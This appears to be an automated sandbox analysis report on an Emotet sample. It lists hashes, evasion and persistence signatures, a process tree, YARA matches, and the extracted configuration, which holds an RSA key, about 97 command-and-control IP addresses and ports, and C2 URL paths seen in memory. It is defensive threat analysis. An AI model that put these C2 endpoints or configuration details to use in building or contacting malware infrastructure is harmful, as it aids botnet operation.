Play interactive tour

Edit tour

Windows Analysis Report PHvqpLRfRl.exe

Overview

General Information

Sample Name:	PHvqpLRfRl.exe
Analysis ID:	463765
MD5:	d8e003f1443fd417bff275f2ce89330c
SHA1:	9489e8b85d2531b256f60803a8716a6efec34a97
SHA256:	e234948d52b71a636aeb6d54c77620910456db6a65202710fed85d19246601cb
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Drops executables to the windows directory (C:\Windows) and starts them

Hides that the sample has been downloaded from the Internet (zone.identifier)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to several IPs in different countries

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

PHvqpLRfRl.exe (PID: 3176 cmdline: 'C:\Users\user\Desktop\PHvqpLRfRl.exe' MD5: D8E003F1443FD417BFF275F2CE89330C)

ipsmsnap.exe (PID: 2328 cmdline: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe MD5: D8E003F1443FD417BFF275F2CE89330C)

svchost.exe (PID: 6020 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5948 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 592 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5452 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4068 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5084 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 1836 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5912 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4908 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 3868 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5576 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["74.219.172.26:80", "134.209.36.254:8080", "104.156.59.7:8080", "120.138.30.150:8080", "194.187.133.160:443", "104.236.246.93:8080", "74.208.45.104:8080", "78.187.156.31:80", "187.161.206.24:80", "94.23.216.33:80", "172.91.208.86:80", "91.211.88.52:7080", "50.91.114.38:80", "200.123.150.89:443", "121.124.124.40:7080", "62.75.141.82:80", "5.196.74.210:8080", "24.137.76.62:80", "85.105.205.77:8080", "139.130.242.43:80", "82.225.49.121:80", "110.145.77.103:80", "195.251.213.56:80", "46.105.131.79:8080", "87.106.136.232:8080", "75.139.38.211:80", "124.41.215.226:80", "203.153.216.189:7080", "162.241.242.173:8080", "219.74.18.66:443", "174.45.13.118:80", "68.188.112.97:80", "200.114.213.233:8080", "213.196.135.145:80", "61.92.17.12:80", "61.19.246.238:443", "219.75.128.166:80", "120.150.60.189:80", "123.176.25.234:80", "1.221.254.82:80", "137.119.36.33:80", "94.23.237.171:443", "74.120.55.163:80", "62.30.7.67:443", "104.131.11.150:443", "139.59.67.118:443", "209.141.54.221:8080", "79.137.83.50:443", "84.39.182.7:80", "97.82.79.83:80", "87.106.139.101:8080", "94.1.108.190:443", "37.187.72.193:8080", "139.162.108.71:8080", "93.147.212.206:80", "74.134.41.124:80", "103.86.49.11:8080", "75.80.124.4:80", "109.74.5.95:8080", "153.232.188.106:80", "168.235.67.138:7080", "50.35.17.13:80", "42.200.107.142:80", "82.80.155.43:80", "78.24.219.147:8080", "24.43.99.75:80", "107.5.122.110:80", "156.155.166.221:80", "83.169.36.251:8080", "47.144.21.12:443", "79.98.24.39:8080", "181.169.34.190:80", "139.59.60.244:8080", "85.152.162.105:80", "185.94.252.104:443", "110.5.16.198:80", "174.102.48.180:443", "140.186.212.146:80", "95.179.229.244:8080", "104.32.141.43:80", "169.239.182.217:8080", "121.7.127.163:80", "94.200.114.161:80", "201.173.217.124:443", "104.131.44.150:8080", "137.59.187.107:8080", "5.39.91.110:7080", "203.117.253.142:80", "157.245.99.39:8080", "176.111.60.55:8080", "95.213.236.64:8080", "220.245.198.194:80", "37.139.21.175:8080", "89.216.122.92:80", "139.99.158.11:443", "24.179.13.119:80", "188.219.31.12:80"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.467934925.0000000000E50000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.202145856.0000000000814000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.202173410.0000000000981000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000001.00000002.467972344.0000000000E64000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.ipsmsnap.exe.400000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.ipsmsnap.exe.e5279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.ipsmsnap.exe.e5052e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.PHvqpLRfRl.exe.3f279e.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.PHvqpLRfRl.exe.3f052e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.PHvqpLRfRl.exe.980000.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.ipsmsnap.exe.e5052e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.PHvqpLRfRl.exe.3f279e.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
1.2.ipsmsnap.exe.e5279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.PHvqpLRfRl.exe.3f052e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
Click to see the 5 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: PHvqpLRfRl.exe

Avira: detected

Found malware configuration

Show sources

Source: 0.2.PHvqpLRfRl.exe.3f279e.0.raw.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["74.219.172.26:80", "134.209.36.254:8080", "104.156.59.7:8080", "120.138.30.150:8080", "194.187.133.160:443", "104.236.246.93:8080", "74.208.45.104:8080", "78.187.156.31:80", "187.161.206.24:80", "94.23.216.33:80", "172.91.208.86:80", "91.211.88.52:7080", "50.91.114.38:80", "200.123.150.89:443", "121.124.124.40:7080", "62.75.141.82:80", "5.196.74.210:8080", "24.137.76.62:80", "85.105.205.77:8080", "139.130.242.43:80", "82.225.49.121:80", "110.145.77.103:80", "195.251.213.56:80", "46.105.131.79:8080", "87.106.136.232:8080", "75.139.38.211:80", "124.41.215.226:80", "203.153.216.189:7080", "162.241.242.173:8080", "219.74.18.66:443", "174.45.13.118:80", "68.188.112.97:80", "200.114.213.233:8080", "213.196.135.145:80", "61.92.17.12:80", "61.19.246.238:443", "219.75.128.166:80", "120.150.60.189:80", "123.176.25.234:80", "1.221.254.82:80", "137.119.36.33:80", "94.23.237.171:443", "74.120.55.163:80", "62.30.7.67:443", "104.131.11.150:443", "139.59.67.118:443", "209.141.54.221:8080", "79.137.83.50:443", "84.39.182.7:80", "97.82.79.83:80", "87.106.139.101:8080", "94.1.108.190:443", "37.187.72.193:8080", "139.162.108.71:8080", "93.147.212.206:80", "74.134.41.124:80", "103.86.49.11:8080", "75.80.124.4:80", "109.74.5.95:8080", "153.232.188.106:80", "168.235.67.138:7080", "50.35.17.13:80", "42.200.107.142:80", "82.80.155.43:80", "78.24.219.147:8080", "24.43.99.75:80", "107.5.122.110:80", "156.155.166.221:80", "83.169.36.251:8080", "47.144.21.12:443", "79.98.24.39:8080", "181.169.34.190:80", "139.59.60.244:8080", "85.152.162.105:80", "185.94.252.104:443", "110.5.16.198:80", "174.102.48.180:443", "140.186.212.146:80", "95.179.229.244:8080", "104.32.141.43:80", "169.239.182.217:8080", "121.7.127.163:80", "94.200.114.161:80", "201.173.217.124:443", "104.131.44.150:8080", "137.59.187.107:8080", "5.39.91.110:7080", "203.117.253.142:80", "157.245.99.39:8080", "176.111.60.55:8080", "95.213.236.64:8080", "220.245.198.194:80", "37.139.21.175:8080", "89.216.122.92:80", "139.99.158.11:443", "24.179.13.119:80", "188.219.31.12:80"]}

Multi AV Scanner detection for submitted file

Show sources

Source: PHvqpLRfRl.exe	Virustotal: Detection: 77%	Perma Link
Source: PHvqpLRfRl.exe	Metadefender: Detection: 51%	Perma Link
Source: PHvqpLRfRl.exe	ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01144C40 CryptAcquireContextA,CryptAcquireContextA,	0_2_01144C40
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01144C40 CryptAcquireContextA,CryptAcquireContextA,	1_2_01144C40
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00402210 CryptDestroyHash,CryptExportKey,CryptDuplicateHash,CryptGetHashParam,CryptEncrypt,memcpy,GetProcessHeap,HeapFree,	1_2_00402210
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_004025A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,	1_2_004025A0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00401FA0 CryptDuplicateHash,CryptDestroyHash,memcpy,	1_2_00401FA0

Source: PHvqpLRfRl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: PHvqpLRfRl.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Code function: 1_2_004038B0 _snwprintf,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,

1_2_004038B0

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 74.219.172.26:80
Source: Malware configuration extractor	IPs: 134.209.36.254:8080
Source: Malware configuration extractor	IPs: 104.156.59.7:8080
Source: Malware configuration extractor	IPs: 120.138.30.150:8080
Source: Malware configuration extractor	IPs: 194.187.133.160:443
Source: Malware configuration extractor	IPs: 104.236.246.93:8080
Source: Malware configuration extractor	IPs: 74.208.45.104:8080
Source: Malware configuration extractor	IPs: 78.187.156.31:80
Source: Malware configuration extractor	IPs: 187.161.206.24:80
Source: Malware configuration extractor	IPs: 94.23.216.33:80
Source: Malware configuration extractor	IPs: 172.91.208.86:80
Source: Malware configuration extractor	IPs: 91.211.88.52:7080
Source: Malware configuration extractor	IPs: 50.91.114.38:80
Source: Malware configuration extractor	IPs: 200.123.150.89:443
Source: Malware configuration extractor	IPs: 121.124.124.40:7080
Source: Malware configuration extractor	IPs: 62.75.141.82:80
Source: Malware configuration extractor	IPs: 5.196.74.210:8080
Source: Malware configuration extractor	IPs: 24.137.76.62:80
Source: Malware configuration extractor	IPs: 85.105.205.77:8080
Source: Malware configuration extractor	IPs: 139.130.242.43:80
Source: Malware configuration extractor	IPs: 82.225.49.121:80
Source: Malware configuration extractor	IPs: 110.145.77.103:80
Source: Malware configuration extractor	IPs: 195.251.213.56:80
Source: Malware configuration extractor	IPs: 46.105.131.79:8080
Source: Malware configuration extractor	IPs: 87.106.136.232:8080
Source: Malware configuration extractor	IPs: 75.139.38.211:80
Source: Malware configuration extractor	IPs: 124.41.215.226:80
Source: Malware configuration extractor	IPs: 203.153.216.189:7080
Source: Malware configuration extractor	IPs: 162.241.242.173:8080
Source: Malware configuration extractor	IPs: 219.74.18.66:443
Source: Malware configuration extractor	IPs: 174.45.13.118:80
Source: Malware configuration extractor	IPs: 68.188.112.97:80
Source: Malware configuration extractor	IPs: 200.114.213.233:8080
Source: Malware configuration extractor	IPs: 213.196.135.145:80
Source: Malware configuration extractor	IPs: 61.92.17.12:80
Source: Malware configuration extractor	IPs: 61.19.246.238:443
Source: Malware configuration extractor	IPs: 219.75.128.166:80
Source: Malware configuration extractor	IPs: 120.150.60.189:80
Source: Malware configuration extractor	IPs: 123.176.25.234:80
Source: Malware configuration extractor	IPs: 1.221.254.82:80
Source: Malware configuration extractor	IPs: 137.119.36.33:80
Source: Malware configuration extractor	IPs: 94.23.237.171:443
Source: Malware configuration extractor	IPs: 74.120.55.163:80
Source: Malware configuration extractor	IPs: 62.30.7.67:443
Source: Malware configuration extractor	IPs: 104.131.11.150:443
Source: Malware configuration extractor	IPs: 139.59.67.118:443
Source: Malware configuration extractor	IPs: 209.141.54.221:8080
Source: Malware configuration extractor	IPs: 79.137.83.50:443
Source: Malware configuration extractor	IPs: 84.39.182.7:80
Source: Malware configuration extractor	IPs: 97.82.79.83:80
Source: Malware configuration extractor	IPs: 87.106.139.101:8080
Source: Malware configuration extractor	IPs: 94.1.108.190:443
Source: Malware configuration extractor	IPs: 37.187.72.193:8080
Source: Malware configuration extractor	IPs: 139.162.108.71:8080
Source: Malware configuration extractor	IPs: 93.147.212.206:80
Source: Malware configuration extractor	IPs: 74.134.41.124:80
Source: Malware configuration extractor	IPs: 103.86.49.11:8080
Source: Malware configuration extractor	IPs: 75.80.124.4:80
Source: Malware configuration extractor	IPs: 109.74.5.95:8080
Source: Malware configuration extractor	IPs: 153.232.188.106:80
Source: Malware configuration extractor	IPs: 168.235.67.138:7080
Source: Malware configuration extractor	IPs: 50.35.17.13:80
Source: Malware configuration extractor	IPs: 42.200.107.142:80
Source: Malware configuration extractor	IPs: 82.80.155.43:80
Source: Malware configuration extractor	IPs: 78.24.219.147:8080
Source: Malware configuration extractor	IPs: 24.43.99.75:80
Source: Malware configuration extractor	IPs: 107.5.122.110:80
Source: Malware configuration extractor	IPs: 156.155.166.221:80
Source: Malware configuration extractor	IPs: 83.169.36.251:8080
Source: Malware configuration extractor	IPs: 47.144.21.12:443
Source: Malware configuration extractor	IPs: 79.98.24.39:8080
Source: Malware configuration extractor	IPs: 181.169.34.190:80
Source: Malware configuration extractor	IPs: 139.59.60.244:8080
Source: Malware configuration extractor	IPs: 85.152.162.105:80
Source: Malware configuration extractor	IPs: 185.94.252.104:443
Source: Malware configuration extractor	IPs: 110.5.16.198:80
Source: Malware configuration extractor	IPs: 174.102.48.180:443
Source: Malware configuration extractor	IPs: 140.186.212.146:80
Source: Malware configuration extractor	IPs: 95.179.229.244:8080
Source: Malware configuration extractor	IPs: 104.32.141.43:80
Source: Malware configuration extractor	IPs: 169.239.182.217:8080
Source: Malware configuration extractor	IPs: 121.7.127.163:80
Source: Malware configuration extractor	IPs: 94.200.114.161:80
Source: Malware configuration extractor	IPs: 201.173.217.124:443
Source: Malware configuration extractor	IPs: 104.131.44.150:8080
Source: Malware configuration extractor	IPs: 137.59.187.107:8080
Source: Malware configuration extractor	IPs: 5.39.91.110:7080
Source: Malware configuration extractor	IPs: 203.117.253.142:80
Source: Malware configuration extractor	IPs: 157.245.99.39:8080
Source: Malware configuration extractor	IPs: 176.111.60.55:8080
Source: Malware configuration extractor	IPs: 95.213.236.64:8080
Source: Malware configuration extractor	IPs: 220.245.198.194:80
Source: Malware configuration extractor	IPs: 37.139.21.175:8080
Source: Malware configuration extractor	IPs: 89.216.122.92:80
Source: Malware configuration extractor	IPs: 139.99.158.11:443
Source: Malware configuration extractor	IPs: 24.179.13.119:80
Source: Malware configuration extractor	IPs: 188.219.31.12:80

Source: unknown

Network traffic detected: IP country count 33

Source: global traffic	TCP traffic: 192.168.2.3:49726 -> 134.209.36.254:8080
Source: global traffic	TCP traffic: 192.168.2.3:49736 -> 104.156.59.7:8080
Source: global traffic	TCP traffic: 192.168.2.3:49737 -> 120.138.30.150:8080
Source: global traffic	TCP traffic: 192.168.2.3:49746 -> 104.236.246.93:8080

Source: Joe Sandbox View	IP Address: 94.200.114.161 94.200.114.161
Source: Joe Sandbox View	IP Address: 174.102.48.180 174.102.48.180

Source: Joe Sandbox View	ASN Name: DU-AS1AE DU-AS1AE
Source: Joe Sandbox View	ASN Name: TELECABLESpainES TELECABLESpainES
Source: Joe Sandbox View	ASN Name: TWC-10796-MIDWESTUS TWC-10796-MIDWESTUS

Source: unknown	TCP traffic detected without corresponding DNS query: 74.219.172.26
Source: unknown	TCP traffic detected without corresponding DNS query: 74.219.172.26
Source: unknown	TCP traffic detected without corresponding DNS query: 74.219.172.26
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 104.156.59.7
Source: unknown	TCP traffic detected without corresponding DNS query: 104.156.59.7
Source: unknown	TCP traffic detected without corresponding DNS query: 104.156.59.7
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 104.236.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 104.236.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 104.236.246.93

Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://104.156.59.7:8080/3x1oIXeY
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/#?
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/3
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/m
Source: ipsmsnap.exe, 00000001.00000002.470677696.00000000030B0000.00000004.00000001.sdmp	String found in binary or memory: http://104.236.246.93:8080/nNKoq5kK/
Source: ipsmsnap.exe, 00000001.00000002.470792566.00000000030DE000.00000004.00000001.sdmp	String found in binary or memory: http://104.236.246.93:8080/nNKoq5kK/=
Source: ipsmsnap.exe, 00000001.00000002.470677696.00000000030B0000.00000004.00000001.sdmp	String found in binary or memory: http://104.236.246.93:8080/nNKoq5kK/n
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/PBsOTo7qERajOZz1lh/LN3m/MNxh/5?
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/c8
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://134.209.36.254:8080/tWwU/w3xB1Bhz7yaslBgJS/q49F3NAtj1IqnXaW2A/GIQOEsdbSxikR6wT/lMJv8yE/
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	String found in binary or memory: http://194.187.133.160:443/rRPAuzYPI/PCfjdWIpUQcAD/TNhKcjKj/nadJLloIjR2s5GA9b/NUnsi05bbdpoKVYXGgn/R8
Source: ipsmsnap.exe, 00000001.00000003.276535300.00000000030C4000.00000004.00000001.sdmp	String found in binary or memory: http://74.219.172.26/3vre0AbvHoC/72zolH2gtmnbq3QOxa/GmI2ntvI/3wNRQ8Motcr5/
Source: svchost.exe, 00000004.00000002.470968831.0000025BE688D000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: svchost.exe, 00000004.00000002.470968831.0000025BE688D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: svchost.exe, 00000004.00000002.470968831.0000025BE688D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: svchost.exe, 00000004.00000002.470303423.0000025BE66A0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: svchost.exe, 00000009.00000002.309127915.00000184DC213000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.308835499.00000184DC250000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000002.309167893.00000184DC242000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000009.00000002.309167893.00000184DC242000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=
Source: svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000002.309195425.00000184DC265000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
